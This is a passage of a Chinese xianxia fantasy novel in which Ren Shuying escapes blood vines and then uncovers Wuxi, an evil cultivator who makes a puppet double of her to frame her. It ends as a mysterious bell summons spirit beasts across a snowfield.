它们犹如蓄势待发的毒蛇,不动声色顺着树身爬来,任舒映犹如落网之物,八面受困。
叩雪这时候才认出来是何物,便赶忙告诉她:这是血藤,外形似蛇,伤流红血,食灵兽,惧阳火,喜阴栖之处。
紧接着还提醒,让她不可再用灵力,它们和魔兽一般,对灵力的感知极其敏感,若是一昧使用灵力,只会激化血藤。
随即她连连躲避血藤突如其来的攻击。
紧急下脑中瞬息一转,霎时想起乙寻屏给过她几张尚未用过的防身符箓,虽她至今不知道是什么符,但情急之下她也顾不了这么多,召起纸符引灵激化,
灵符投掷虚空,乍然爆破。
白雾涨涌起来,眼前的视线模糊已然不清。
树影的轮廓变得朦胧,血藤在烟雾里影影绰绰,铅灰而沉凝的画面让她有种置身与混沌的牢笼中。
叩雪问:‘‘这就是什么符?’’
任舒映也不曾料到这符竟是如此,一头雾水答:‘‘我不知道啊!我看不清路了…’’
‘‘主人,你别乱走,用轻功,往上跑。’’
任舒映:‘‘正有此意。’’
听罢催促道:‘‘先走。’’
叩雪不断围绕她转圈,血藤一旦扑上来便会被剑身瞬息间绞断。
任舒映踮脚一跃,接宛如轻盈鸟雀,借着枝干,步下生风,悬浮于残阳天幕下,树梢头上。
叩雪见势倏忽穿梭繁枝茂叶,空气弥留划过的浅淡流萤,她踩上叩雪,御剑逃遁。
血藤试图追及,方暴露于阳光照射下,仿佛触碰到灼热的火焰,忽拧起藤躯扭曲摇晃起来。
任舒映逃走不久,密林深处莎莎作响,一个貌美艳丽的女人踏踏着枯叶,伫立于白雾中,眯起眼睛看着天空。
一道与她面貌大相径庭的苍老声音传来:“回来,她们逃不走的。”
听到命令,血藤无可奈何,愤愤不平隐回毒气弥漫的密林深处。
25.魇婆
任舒映御剑至一处平坡落脚,此地绿野平旷,白花点缀在草地中,香气馥郁,隐约有灵兽行走的痕迹。
正当她环顾四方时,天穹乍然划过一道显眼的血痕,遥距千里外的白雪皑皑山峦,随即传来一阵闷闷轰隆声,她甚至发觉脚下平坡有所震动。
叩雪道:‘‘这是秘境入口被划开的迹象,极地雪域中,兴许是已经有人进入秘境,我们也要加紧时间赶过去。’’
任舒映眯起眼眸,望着远处茫茫云海,不明所以,片刻后徐徐开口:‘‘去干嘛?’’
‘‘去取九骸壤中最强大的灵物。’’
这么一听,有一个军师给她指路还挺有诱惑力的,她想了想复问:‘‘什么灵物?’’
‘‘地涌金莲。’’
任舒映跟着念了一遍,只觉得此名似是在何时见过。反反复复读着,她不经意道:‘‘金炽莲。’’
‘‘不错,就是那金炽莲,此物在南夷闻名并非是空穴来风,实际上就是出自于九骸壤,而金炽莲便是地涌金莲。’’
任舒映见叩雪说完才知道是何缘由。
上一任魔域主苍燎就是在九骸壤寻到地涌金莲,将此物炼化后,苍燎的魔道之途终得突破,到达登峰造极的境界。不过至此以后他也在三界消踪匿迹。
世人只传苍燎是去往了修界人人向往的仙京,长生不死,大道无途。
听着也太过玄乎了。任舒映忍不住质疑道:‘‘你这从何处听来的啊?我还以为这种事只会出现在那些古籍上呢。’’
叩雪话语中亦未有确定这个传闻是否属实,只道:‘‘九骸壤有点辈份的灵器都是这样传,见没见过倒是不得而知,不过既然是姑妄言之,且姑妄听之,自然不可全信。’’
任舒映见状,疑惑不解:‘‘那你为何还要如此相信地涌金莲的存在?’’
‘‘因为极地雪域有黄泉息壤,地涌金莲便只会生长于黄泉息壤。’’
任舒映陡然回想中皋霄华宗煊赫八方的芸生园,当年此园一出,立马惊骇修界。
据说就是驾鹤西去的前霄华宗主顾青洮,从九骸壤中带回来一捧黄泉息壤,随后修建芸生灵田,不过短短几十载,那便使得中皋霄华灵气富饶,灵草产量巨增,一跃成为修界之中最受欢迎的大派宗门。
任舒映寻思着,忽腰背后被拱了一下,她骤然回首,只见一只通体雪白的鹿站在她面前。
此鹿身形修长,面额顶着一双犹如白玉的角,漆黑浑圆的大眼睛夹杂迷茫之意,水汪汪眨巴看着任舒映。
‘‘是何人在此?’’
她把视线转移至白鹿身后,一个白发如雪,岣嵝着背的老婆婆不知从何出现,步覆蹒跚迎面走来。
任舒映礼貌作答:‘‘晚辈自外而来,若有叨扰,我即刻离开。’’
‘‘不打扰,我的灵兽看起来很喜欢你,不如留下来陪它玩玩?’’
任舒映一顿,垂眸看着身边围绕她不停转圈的白鹿,心中陷入了沉思。
她并不想继续呆在这。
‘‘当然不要留下来,如今已有修士到秘境,若是在此耽搁,人只会越来越多,更加不好对付。’’
叩雪的话唯有她可以听见,可那老婆婆的凌厉的视线仿佛看穿了她的想法,随后又道:‘‘姑娘,这天色已晚,附近林中亦有邪祟出现,若是要离开不妨在此暂居一夜?’’
任舒映看不出此人实力,但闻语调生硬,如此看来,是硬邀她留下来了。
也不知道这老婆婆要做何,留下她也不是不可以,不如在套点有用的信息吧。
凝思着,任舒映粲然一笑,爽快答应:“那就多谢前辈了,不过这林中究竟有什么邪祟,我方从里面出来,也没有遇到呢。”
老婆婆露出慈祥的笑容,咯咯笑出来道:
“里面啊有邪修,专门喜欢剥人皮,食人肉。”
闻言,任舒映故作惊讶:“……那看来,我可以安全出来还是算是幸运的。”
老婆婆语调缓和,循循善诱说:“姑娘别担心,随我来,我这里很安全。”
任舒映面上乖巧连连点头,暗下腹诽这人演技未免太假了吧。
跟随这老婆婆一路,也只问出来她叫巫溪,在这片绿地遍野的平坡安然无恙住了十多年,帮助过极多在此路过的人,
任舒映一到巫溪的住处,她便摆上几盘色香味俱全的小菜招待。
因为味道虽颇香,但任舒映很难想象这味道是从她眼前一盘盘见到的菜散发出来的。
她盯着菜,指着一盘黑糊糊的菜,犹豫道:“巫溪婆婆,这是什么啊?”
“哭鲛。”
任舒映:“?”
“哭鲛貌似是无妄海中的呢。”
“啊,那密林的湖泊中也有。”
任舒映点头笑笑,看起来已经相信巫溪所言。
可她不是没有见过哭鲛,就算这是哭鲛,也不长这样啊。
任舒映压下心中的疑惑,指着另外一盘绿油油软趴趴的菜,问:“这个是什么,蛇么?”
“正是,叶障青灵蛇,其灵丹可以提升修为。”
听完,她可以完全笃定这个巫溪有问题了。
因为她的看出来,这不是什么叶障青灵蛇,而是方才袭击过她的血藤,一模一样的血藤。
任舒映笑眯眯看着巫溪说:“好菜需配好茶,方才听前辈说酿了些花酒,不知我可有缘品尝一下?”
巫溪就喜欢这种爱吃的孩子,她随即道:“好啊,我这就给你取来。”
巫溪说完,心情颇不错,迈着小步子去了后院,屋子只剩下她一人。
确定巫溪走远,任舒映动起筷子,在每个餐盘上就是一顿狂搅。
叩雪:“不是,你真吃啊?!”
“谁说我吃了,我这是要让巫溪觉得我吃了。”
任舒映把这些诡异的菜处理好,巫溪正巧抱起一坛密封的酒回来。
一来一回,时间也不长,不料回来,这桌面已然是杯盘狼藉。
巫溪面上惊奇,心中却开始怀疑任舒映是不是假吃了,怎么会这么快吃完?
任舒映瘫倒在凳上,脸中流露出羞赧之色,有气无力道:“抱歉啊,巫溪婆婆,这也太好吃了,便忍不住都吃完了……”
“无妨,无妨,你喜欢吃便吃罢,我还不饿。”<
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任舒映眉目动了动,捧腰抱腹爬起来道:“我奔波一日,感觉实在有些乏了,这酒已吃不下,就是还麻烦你带过来,可否明白我再品尝?”
巫溪的视线落在,任舒映疲倦的脸庞上,心念一转,就算她只吃了一点也已经起效了,
巫溪毫不在意说:“去休息吧,明日吃。”
说完任舒映背道而行,昏光暗影下眸中流转,心事重重转入房中。
——
明月悬空,蝉鸣阵阵。
任舒映躺在床沿边假寐许久。直至听见门槛处传入细微吱嘎的声响,才陡然清醒,
脚步虽然没有声音,但却掩盖不住衣服窸窣摩擦的动静,这像是拂过她的好奇心,她咽下一口气,
不动声色将阖起的眼皮掀开一条缝隙,隐约看清了一个朦胧的黑影,极慢地朝她走过来。
这巫溪究竟要做何?
被巫溪盯了半晌,就在任舒映犹豫要不要起来时,巫溪再次迈前一步。
发丝牵动片刻,巫溪竟用剪刀截断了她的一缕青丝。
“?”
事毕,巫溪没有收回剪刀,竟用刀尖对向她胸口,毫不犹豫刺下去。
手起刀落。
任舒映避无可避,一记蓄满灵力的攻向巫溪。
不料巫溪没有防御,吃了一掌直接往后跌倒,
“哐当”一声。
似是撞碎了陶罐,碎了一地。
——
任舒映拿起叩雪剑,警惕凝视巫溪:“你要做什么?”
巫溪吃力站起来,冷声道:“我早该知道你在假睡。”
这时,任舒映才知道为何看不出修为,原来巫溪就是个普通人。
“你一凡人,怎么会在此处。”
巫溪骤然露出得逞的笑容:“你很有趣,希望我们可以在极地雪域再遇。”
话落,巫溪犹如一个没有骨架的纸人,倒在地上再无生息。
她屈膝在地面查探巫溪须臾,对着叩雪道:“今天所见的巫溪就是邪修,披着一个老婆婆的皮囊,却想着取我性命,狡猾至极。”
提剑出了房间,现入眼帘的画面让她惊愕在原地。
这已不是个正常的房屋了。
木门被多年风吹日晒而腐朽,室内破败不堪,摆在桌面上的饭已搁置不知多久发霉长毛,盘中白骨深然,酒坛中飘来令人作呕的臭气。
任舒映惊魂未定,好在她留了心眼,一口都没有吃,不然这辈子都不会再吃东西了。
难怪她产生幻觉,仔细检查这个巫溪在屋子中种了几盆嗅久至幻的白色幽瞑花。
叩雪这时候又说:“岂止是屋内,外面也都种满了幽瞑花。”
还未等她回过神来,叩雪忽然示意让她抬头看看,
“这个邪修当真是心狠手辣。”
听着,她掀起眼皮,借着那奄奄一息的残灯浅光投视。
她想起白日所见的那只白鹿,此时鹿首砍断,被截断了角,观着空落落,血淋淋悬挂在头顶。
任舒映看向天穹中藏在云堆中若隐若现的圆月。
“叩雪,我们即刻启程去极地雪域。”
26.替身(假冒的老婆)
“魔主,经过核实,唯有三魔君尚未到九骸壤。”
魔域是秘境入口最先开启之处。
在任舒映失踪后,孤竹京便带着魔域中的魔君齐齐而来,灭谛见状讪讪笑道:
“兴许是老三他身子不大好,所以就不打算来了。”
孤竹京置若罔闻。
伫立在九骸壤最南处的毒瘴林入口结界处,平静的眼眸落在不远处青色毒雾,“不必管他,先探路。”
魔卫进入毒雾中没多久,忽面色惊恐奔回来,只见他喘气缓和片刻急急忙忙道:
“是、是修界的人来了,就在附近。”
孤竹京将魔卫调控权交给灭谛,故他只在一旁默默不语,灭谛沉声问:“他们人有多少?”
“比我们多两倍,看样子都拿着剑。”
孤竹京瞥过灭谛一眼,淡声道,“绕开他们吧,现如今还不是出面的时机,”
说罢,他转身一人往毒雾内行去。
魔卫茫然看着孤竹京背影,齐齐问向灭谛:“六魔君,魔主这是啥意思?要自己对付那群修士?”
灭谛却对孤竹京的行为见怪不怪,吼道:
“你们问这么多干嘛!?随我先去极地雪域,魔主自会与我们回合。”
灭谛还真服了,明明他在魔卫中露面最多,孤竹京一向不闻不问,偏偏这些魔卫还这么听孤竹京的话,有时还使唤不动了。
灭谛越想越来气,阴沉着脸补催促:“还不快走,莫非想要在此喂血藤!?”
——
孤竹京敛起魔气,径直往修界群聚之处而去。
他举步坦然走出来,若有所思挑起眉头。
人群之中,一张温和的脸让他想起黑宜城中一个人。
许是孤竹京孤身一人大大方方从浓雾中踏出来,顿时吸引场中不少的注意力,齐齐把视线落在这怪异的男人身上。
半晌,一个修士率先走来,睨着他问:
“你是何派之人?怎么会出现在此?”
他面色不改:“渺梦山,梅花剑修,与同门走丢了。”
“哦?”
可这修士抓腮挠头还是感觉此人莫名其妙出现,颇为怪异,半晌将孤竹京上上下下打量又问道:“你不是渺梦山的么,怎么不穿渺梦山道服?”
孤竹京视线落在对方脸庞,不疾不徐答:“方才被附近的灵兽袭击,道服破损,便换了身便服。”
话说至此,叶谨辰与孤竹京对视一瞬,垂眸须臾跟上来替他解围,
“师兄,让他跟着我们吧,待与渺梦山弟子见面让他回去即可,虽不认识渺梦山之人,但是你看看他的剑,”
叶谨辰说完,那看起来多疑的修士似是真听进去。
凝眉定眼一看,撼刑剑柄悬挂的银白色剑穗上,有一个花结,他们与他们素日见过的渺梦弟子用的剑穗倒是一样。
剑穗层层叠叠复杂交缠,这是渺梦山弟子才可以学会的梅花结,而外面的修士,就算是亲眼目睹梅花结打法,也会无故忘记步骤。
可是叶师弟都这么说了,修士深思熟虑许久到底还是松口:“好吧,你先随我们一起吧,要是见到你们同宗弟子,与我知会一声,我不会为难你。”
孤竹京看着叶谨辰,神色自若:“多谢。”
混入修士群中,叶谨辰悄然行至队尾寻孤竹京:“你怎会在此?任姑娘呢?”
可孤竹京却不想回答这个问题,半晌才答非所问:“我要去极地雪域。”
叶谨辰听出来这是有意避开话头,再没启口,两人并肩而行,前面忽而传来一阵喧哗,竖耳闻之,是叶谨辰的多疑师兄于十几步外大声嚷嚷,
“我们霄华是什么人人皆可入之的收容所么?”
叶谨辰一眼扫去先是看着一个女子的背影微愣,骤然大步流星往前走。
“师兄!可否留下这位姑娘,她是我朋友,断然不会有其他企图。”
孤竹京亦闻声扫视,到底还是按下冲动,顿足于原地。
不料任舒映居然会出现在此。
叶谨辰与他师兄不过交涉短短几句话后,中皋霄华尾末又新添一员。
任舒映虽与孤竹京对视一息,转头一笑,看向叶谨辰:“还好是你,要不然他们肯定不会同意让我留下来的。”
孤竹京却对任舒映不经意打量的视线产生疑惑,好像不认识他。
“无妨,举手之劳罢了,不过我没有料到你会在此,”话语间,叶谨辰看向孤竹京:“我以为你会和他一起同行。”
“任舒映”的眸光微动,视线落在孤竹京脸庞上,沉默须臾,莞尔一笑:“……我有其他事,所以才独行。”
叶谨辰深信不疑:“所以任姑娘也是要去极地雪域吗?”
“嗯……”
“正巧,我们都顺道,你安心在此吧。”
任舒映低垂眼帘,乖巧应下。
——
全程对话下来,孤竹京始终未启口,忽然让撼刑说话,
剑灵只能与主人通过灵识交流,但是撼刑又怕说错话被任舒映听见,始终没有开口。
撼刑:“……”
孤竹京:“说啊。”
“……说、说什么?”
“和任舒映说话。”
撼刑懵了,孤竹京素日不喜它和任舒映说话,莫非今日太阳打西边出来了?
组织语言半晌,撼刑犹犹豫豫问:“任姑娘,你家叩雪呢?”
任舒映看向前头,不为所动。
撼刑加大音量,补话:“你家叩雪呢?”
任舒映恍若未闻。
撼刑急了,大喊:“你家叩——”
孤竹京忽然又把它屏蔽了。
撼刑:真的莫名其妙 。
他已看出来,任舒映不认识他,也听不见撼刑说话,
莫非这是被人夺舍了?
孤竹京冰冷的俊逸的脸庞乍然出现动容,勾唇浅笑。
有意思。
——
他们距离极地雪域的位置不远,不过至夜幕四合后,商讨一起在极地雪域脚下的一条大河旁安营扎寨。
江河潺潺,平缓流淌,月光照彻水波粼粼,似铺满星星点点。
不知何时,幽静的河面升腾起雾气氤氲,烟波渺茫。
几个修士心起一念,跑去抓河中的灵鱼作食,一阵哄闹声打破阒静,在岸边燃起篝火。
孤竹京一人置身于一棵簇满枯叶的大树下,树影的似将他拖入暗陬中,若是不仔细观看,没有人注意到他此时正漫不经心观察每一个人的动作。
任舒映其实早就注意到了孤竹京。
她觉得她应该寻找一个新的目标了,可是一日下了,可以入她眼的叶谨辰始终扎在人群堆中,若是下手未免过于引起注意,而树下那个男人似乎与她熟识,她倒是有些动容。
不如就他?
心中思忖良久,她终于忍不住向树下走去。
方才套了叶谨辰的话辞,她按照自己的理解认为这个孤竹京是任舒映的暧昧对象,故而她走上前去佯装熟人说话的口吻:“孤竹京,你在干嘛呢?”
孤竹京垂眸看着任舒映柔和的脸庞,压低声音响起一道让人耳畔酥麻的语气:“在看你。”
撼刑:“?!”
任舒映顿时脸颊通红,心中腹诽,
这也太暧昧了吧!?这孤竹京面如冠玉,身姿英挺,就算是带回去做为傀儡也不亏啊!
任舒映羞赧不已,双眸却心虚望向喧哗的人群中。
若是在外人面前看,这女子定是被人调戏,不断躲避对方视线。
但孤竹京面色坦然,视线却凝在她脸上,漆
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黑平静的眸子中仿佛暗潮涌动,隐晦幽深。
半晌,任舒映结结巴巴问:“抱歉,白天冷落你了,不如我们沿着河畔走走?”
美人相邀,怎好拒绝,既然孤竹京有意,那她收服此人,岂不是易如反掌?
孤竹京“嗯”一声,率先带路。
——
两人并肩远离那群人的视线后,任舒映忽然发觉心口发热,蓦然停在原地。
这是一个预警,傀儡原主就在附近。
不行,断然不能让两个人同时出现,不然潜伏一日就会因为这个原主的出现,让她功亏一篑!
孤竹京见身边之人有异样,关心问:“怎么了?”
任舒映尴尬一笑,“我、我有些身子不适,你可以在这里稍等片刻吗,我去去就来。”
说罢,孤竹京挑眉应了一声,只见任舒映匆匆忙忙跑进一处漆黑密林。
——
任舒映原主正饿的极地雪域下寻找灵果,谁知忽然一道熟悉的声音叫住她。
蓦然转身,任舒映一怔,惊愕不已。
这怎么还和我的脸一模一样?
任舒映目不转睛盯着对方的脸问:“你……为何用我的脸?”
对方呵斥:“我早在昨日就该杀了你,真是坏人好事!”
任舒映恍然大悟。
“原来你就是巫溪!”
巫溪阴狠一笑:“既然知道了,就带着这个真相下地狱吧。”
话落,一记灵掌击向面门。
趁任舒映躲避,巫溪扑空时用灵力抢走叩雪剑,以血结印,口中念起她听不懂的咒语。
任舒映道:“叩雪!收拾她!”
不料叩雪毫无反应。
“叩雪?!”
巫溪露出得逞的阴笑,“叩雪,杀了她!”
任舒映:“?!!”
叩雪剑闻声一动,一道凛然寒光倏地袭来,
任舒映暗骂一声,凌空一跃,躲避叩雪。
她打不过叩雪啊!
——
情急之下,她顾不得巫溪,背道而驰。
一路直奔出密林,她看见一个人影站立在林子外面。
任舒映大喊一声,奔过来:“孤竹京!!我家叩雪叛变了!!”
任舒映跑出来,孤竹京闻声召起灵障,将叩雪反弹回去。
另一个任舒映从林中走出来接过叩雪剑,目光凌厉。
孤竹京:“……”
撼刑:“我靠两个??”
孤竹京身后的女人怒道:“那个人是假的,她抢走我的剑了!!”
巫溪见状不紧不慢反驳:“孤竹京,你身边那个女人才是假的,她伪装成我的样子想要骗取你的信任!”
任舒映:“你才假的!你在我的剑上面动了什么手脚自己心里清楚!”
孤竹京举起撼刑在两人脸上反复流转。
就在这僵持的氛围下,孤竹京正欲开口,任舒映灵光一现,忽然伸手制止,
“哎?你既说我是假的,那我便说说我做过何事。”
“孤竹京的剑穗你可知道吗?”
巫溪睨着她,顿时凝噎,
“这是我赠他的。”
“你可知我如何认识他吗?”
任舒映自问自答:“无妄海,”
“你可知他是谁?”
“他是魔——”
可尚未待她说完,孤竹京突然把她拉入怀中,低沉暗哑的声音唯有任舒映听见,
“我信你。”
任舒映回过神来,叩雪剑险险与她擦肩而过。
巫溪断然不会让她继续说下去:“你既没有叩雪剑,那就不要在装了,没有人想听你狡辩!”
任舒映骤然心乱如麻,脑子嗡鸣片刻,耳畔又传来温热的气息:“那人逃了。”
27.生灵钟
任舒映不动声色挣开孤竹京,召回叩雪剑细细检查。
“方才逃走的女人是邪修,她给我的叩雪下了禁制。”
不过禁制解起来不难,她破除附在剑身中的一层禁咒铭纹,叩雪顿时开口:“怎么回事?!这是哪里?!”
任舒映简单描述一番,问孤竹京:
“你怎么会这此?”
“去极地雪域。”
任舒映若有所思:“原来都去极地雪域啊……”
孤竹京嗯了一声,道:
“你随我来,邪修假扮你混入中皋霄华剑修,叶谨辰可能还不知道。”
任舒映有些意外,叶谨辰一封信辞别后居然回去剑修,未免大材小用了。
两人折返回去,猝然嗅到一丝腥味,眼前倒地修士一片,哀嚎不已。
任舒映出现在众人视线,先前怀疑孤竹京的修士怒气冲冲直奔她来,破口大骂:“你这恶毒的妖女还敢回来?!”
“?”
叶谨辰见状也跑过来,先安抚师兄,随后无奈看向任舒映:“在你们离开时,一个同你一模一样的人杀了几个修士,这是大家亲眼所见……但是我知道那个人并非是你。”
叶谨辰十分笃定道:“方才不过是一具被人控制的傀儡,在她杀了人后傀儡就化作一具皮囊。”
任舒映忖度少顷,无奈看向移至孤竹京,
“这个邪修在我们手下逃走,还有时间杀人嫁祸于我,高明,高明啊……”
叶谨辰:“我建议你们还是暂时分道吧,我虽然向同门解释过,师兄虽然可以相信你,但我无法让所有人都可以完全相信。”
任舒映点头答应:“多谢了。”
——
两人检查被邪修杀死的尸体后,顶着众人的警惕凝视下若无其事走开。
不过好在也快到极地雪域,任舒映一边行走,一边沉思刚刚检查的尸体。
几个修士死状极惨,眼球、牙齿,内脏皆被腐蚀,却还可以思考行动,无差别攻击任何人。
莫非巫溪是想让这群修士自相残杀?
可是根据叶谨辰所言,巫溪动手的时间不过一盏茶的时间,她就算是要下什么恶毒的禁咒,又怎么会如此迅速?看样子像是有备而来。
任舒映分析完,问向孤竹京:“哎?你不是和假任舒映相处了一会吗?可有看出来有何异样?”
闻言,孤竹京险些笑出来,可念头一转,只怀疑自己有病,他为何会莫名其妙觉得任舒映一本正经喊自己名字特别好笑。
到底自己笑什么?
撼刑感知到孤竹京怪异的情绪,出声道:“……你在笑什么?”
任舒映不经意听见撼刑的话,悄然瞥见孤竹京紧绷的脸庞,眸中当真闪一丝笑意。
孤竹京敛起情绪,清了清嗓子说道:“巫溪和叶谨辰的师兄走的很近。”
任舒映:“你怎么发现的?”
“亲眼所见。”
任舒映见他又这么敷衍作答,兴许他也不清楚详情,遂改口问:“难道他们是一伙的?”
“不是。”
孤竹京回答的十分笃定,观任舒映露出好奇之色,他悠悠解释:“巫溪想要拉叶谨辰师兄下水,但失败了。”
孤竹京仅知晓的信息,也就这些,任舒映只好作罢,遥望这千仞壁立的雪墙,她心下有一个猜测,
巫溪那夜取走她的头发,看来便是用于邪术制作一个与她样貌相仿的人,好混在一群修士当中。
如若不取回头发,估计还要拿着她的脸四处作恶,
现如今叶谨辰可以相信她,可若不是认识的人提她解围,她定然百口莫辩。
念及此处,为了保险起见,任舒映对着孤竹京说:“你在我的剑上下一道灵犀印吧,若是巫溪把我掉包,你也好及时发现端倪。”
孤竹京不喜欢被人质疑,按以往来说他是不屑于解释,可今日他就是要说出来,故他凝视任舒映,
“你怎么会以为我看不出来?她连撼刑的话都听不见,这种伎俩也就糊弄糊弄叶谨辰罢了。”
任舒映连连敷衍:“看得出来、看得出来……那走吧,走吧。”
心下腹诽却着,不想下灵犀印直说啊扭捏!
说罢,她率先举步而行,身后有传来一道声音:“……叩雪给我。”
“?”
回头再看,孤竹京跟上来,拿走叩雪,默不作声结下灵犀印。
事毕,任舒映茫然接过孤竹京硬塞回来的叩雪剑,在原地顿足。
叩雪:“主人,这个男人好口是心非哦。”
嗯,看出来了。
——
极地雪域颇为广阔,远远眺望时,雪域仿佛永远都是沉寂在浩渺的云雾中。
烟雾缭绕,至天光大亮至时,炽阳的光打在雪峰之巅,熠熠生辉,璀璨夺目。
让她意料之外的还是他们沿着低矮的山脊,爬到半山腰时居然没有遇到过任何修士,一望无垠的天际外烈日喷薄出血红色。
不过片刻,太阳恍恍然陨落,她的视线移至孤竹京,忽然想起来什么,语调有些缓慢的问:“孤竹京,你有没有发觉,这个极地雪域,根本就不冷。”
“嗯,你才发现吗?”
孤竹京丝毫没有意外之色,用手拂开衣摆沾染的雪絮,目光猝然凌厉,口中催促道:“快走,入夜的极地雪域没你想的那么简单。”
任舒映眉头紧锁,为何她莫名觉得孤竹京很了解此处的环境。
可突如其来的沉郁天穹,只能让她暂时压下困惑,加速步伐。
总归是爬到了一个平坡处,寻视一番,只见坡上有几堆大大小小的小雪山。
孤竹京淡淡道:“今夜先去前面避避吧。”
避?怎么避?
任舒映凑近一瞧,才了然。
哦,原来不是山,是被层层叠叠厚积的雪覆盖的废弃房屋。
清除表面的积雪,任舒映踏入了一个荒废的寺庙。
里面破败不堪,供台上还摆放着一个半个人大小的盘坐铜像。
许是岁久年深,铜像不知多久没有人打理过,观面首分明一副慈眉善目,可偏偏摆在这个荒凉的雪岭莫名令人心生畏惧。
香炉中插着的香倒是吸引她注意,这里面插着的香,已经的拥挤满溢出来,开始偏偏没有点燃过的痕迹,就像是信徒只是把香放上去就敷衍了事了。
孤竹京起了一团火后,整个荒庙才终于有了一丝活气。
任舒映心事重重走回来,正要同孤竹京说一下这个寺庙的古怪之处,一个圆滚滚的东西乍然掉到她脑袋上面,任舒映先是一惊,心跳直打鼓,伸手再摸,
毛茸茸,柔软的触感,在捏好像还要写粘稠。
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头顶一阵怒骂传入耳畔:“你在摸我试试!”
任舒映捧在手心一看,是一只鸟,特别小的喙,像崽子,叽叽喳喳骂着任舒映,但是看起来颇为憨傻。
任舒映坏笑:“就摸。”
说了还不够,拿在手里疯狂蹂躏。
这个毛太软了哈哈哈哈……
任舒映笑完,抱着这只暴躁的鸟走在孤竹京面前。
孤竹京一眸光落在她手中,挑眉道:“哪里来的。”
“天上掉下来的,好暴躁,它刚刚骂我……”
孤竹京见她不知情,又问:“你知道这是什鸟么。”
任舒映如实回答:“……不知道,没见过。”
孤竹京笑笑,再任舒映好奇的注视下,他说出一句话,任舒映闻言一脸惊骇:
“这是苍鸠。”
苍鸠乃巨型稀有灵兽,就算是修界也没有见过几个人养,孤竹京就这么云淡风轻说出来了?
她虽然没见过苍鸠,但是古籍描绘其张翅可达白丈,一日可行千里,这可是御兽师梦中情兽啊。
惊愕须臾,任舒映捏起手中的白团子,再次询问:“当真?”
孤竹京:“你不是通晓生灵之言?你问问它。”
有道理,任舒映垂眸看着手,
“小团子,你怎么自己一只鸟再此?你爹娘呢?”
“叽叽叽叽叽叽!叽叽!”
任舒映道:“好。”
苍鸠扑通一声跌在地上,洁白的羽毛沾上了灰尘。
任舒映放开它,这小团子扇起翅膀,想要飞出庙外,可惜翅膀毛都没有长齐,怎么飞的起来,随后再度跌倒。
“叽叽叽叽!叽叽!叽叽!叽叽!”
任舒映略微压低语调:“它娘在死在外面了。”
见小苍鸠仍然喋喋不休,任舒映喟叹一声,
“小团子你跟着我们吧,你太小了还不能自保,带你长大些再放你走吧。”
说着,还把在极地雪域下捡的灵果喂给它。
苍鸠停下叫喊,磨磨蹭蹭半天爬道任舒映脚下的灵果旁吃起来。
任舒映:“……?”
不是,怎么真的是好哄骗?!
——
两人沉默看着苍鸠吃着,任舒映忽道:“那你日后就叫扶鸾如何?
苍鸠乘仙京,扶风入銮金。
孤竹京亦想到此诗,随后眸光沉沉瞥了眼那苍鸠。
扶鸾似有些害怕孤竹京,动了动浑圆的身子,傲娇道:“自便。”
——
就在此时,一阵狂风呼啸,扶鸾只觉得脑晕耳鸣,大喊一声:“谁在敲钟啊!”
见状,任舒映看向孤竹京茫然不已,问道:“什么钟声?”
孤竹京摆头。
随即叩雪激动发话:“主人,我也听见了,这、这是百年来,未被敲响的生灵钟!”
听到此,任舒映回想渺梦山被魔修夜袭那天:“生灵钟?!不是被人盗走了吗……难道是说,盗取生灵钟之人也在此处?”
任舒映起身踏出寺庙,看向繁星点点的天幕,只见一群鸟兽似是有组织预谋一般,拥在一起往另外一个方向飞驰而过。
这是敲钟人的召灵术,会吸引所有生灵前往。
任舒映下了一个决心,她要跟着它们去,定要亲自抓回盗取生灵钟之人。
28.生灵钟(二)
任舒映眸底压下着怒气,负首折回。
孤竹京观而不语,多少猜测出是渺梦山的缘由,直至柴火颓熄,她启口道:“孤竹京,渺梦山魔修夜袭,你在哪?”
她口下并无厉声质问,平复心绪后再度想起此事,愈来发觉此事疑点重重,故打算重新捋清事理。
孤竹京坦然答:“我在魔域,渺梦山之事略有耳闻,攻山魔修规模较大,行事紧凑有序,但那批魔修并非魔域管辖,想必是潜伏已久,蓄意而为。”
言下之意,便是指向渺梦山中,潜伏内应,图谋不轨。
话有理,可图什么呢?
既不灭门,并非打算闹大此事,反倒盗取生灵钟后,让她做这替罪羊。
念此,她喃喃自语:“生灵钟……”
生灵钟,渺梦山圣陵宝物,以百年前开山祖师庇弥,于九骸壤寻得。
她还依稀记得师尊曾同她提过一次,
此钟在百年间只敲响过一回,便是那昔日渺梦庇弥祖师闭关三百年,无缘无故,猝然圆寂。
此钟尚未取出,于圣陵中无由而响,咴哄嗡然,似悲怆追悼,竟吸引了千上万灵鸟,于圣陵嘶鸣凄凄,盘旋三日不绝。
此外,渺梦山一带,连着一旬,草木枯荣,枯蓑不兴,炎阳荒曝,滴雨不降。
见状,外界风风雨雨传扬:渺梦山祖师庇弥生前大造善业,定是冤枉而死,才引得生灵钟自鸣申冤。
不过这都是上一辈的事了,细细回忆,可对生灵钟了解的人,除了如今年事已高的大长老,就是她师尊二长老。
莫非盗取之人,会是介于她敬重的两个长老之间?
——
沉吟至今,脚下小团子知道任舒映听得懂它的话,鼓动翅膀叽叽喳喳:“我要出去!我要出去!那道声音在叫我!如果不去脑袋一直疼!”
见扶鸾控制不了自己,任舒映唤叩雪:“我们带它去看看吧。”
叩雪剑出自于九骸壤剑冢,与生灵钟同源,可闻而不受控制,叩雪亦想知道这幕后真凶究竟何许人也,遂即刻作应。
不料,孤竹京站出来主动道:“我随你去。”
为了不让任舒映多想,故又补上一个冠冕堂皇的理由:“顺路。”
——
跟着扶鸾,两人未走多久与一群修士撞上,看样子大都是御兽师,他们的灵兽同样因为生灵钟的声音,躁动不安。
群修相遇,众人也只是客气招呼一声,脸上和善,却相互揣摩,心思各异。
无非是两个想法,其一便是面上所示,所有人都是因为自己的灵兽暴动,而被吸引至此;其二,便是幕后主使可能就混迹其中,在九骸壤若是多除掉一些人,自然有益无害,可如今也不了解对方底线,轻易行事,反倒招惹无端猜忌,落个众矢之的下场。
任舒映专注扫视周围的人时,耳畔传入几句话:“怪了……自从它主人回来后,它就一直不肯打理我,我屡屡向它道歉,也不回一句话,看来这次是真的生气了。”
她侧眸一瞥,之间身后不远,站着两个御兽师,御兽师面前各有一只灵犬,它们正有一搭没一搭说着。
观那二位御兽师亦在说话,许是没有听见灵犬在说什么,她竖起耳朵复闻:“它主人也古怪,起初还挺和和善善,及次日,忽然性情大变,是不是还总是在暗处观察我们……”
听罢,另外一只灵犬问:“……或许它不过是一个灵兔,你们一犬一兔走太进了,灵兔主人因为你要吃了它也是有可能。”
“谁说我吃兔肉了,我是见它太可爱,一时激动了些……”
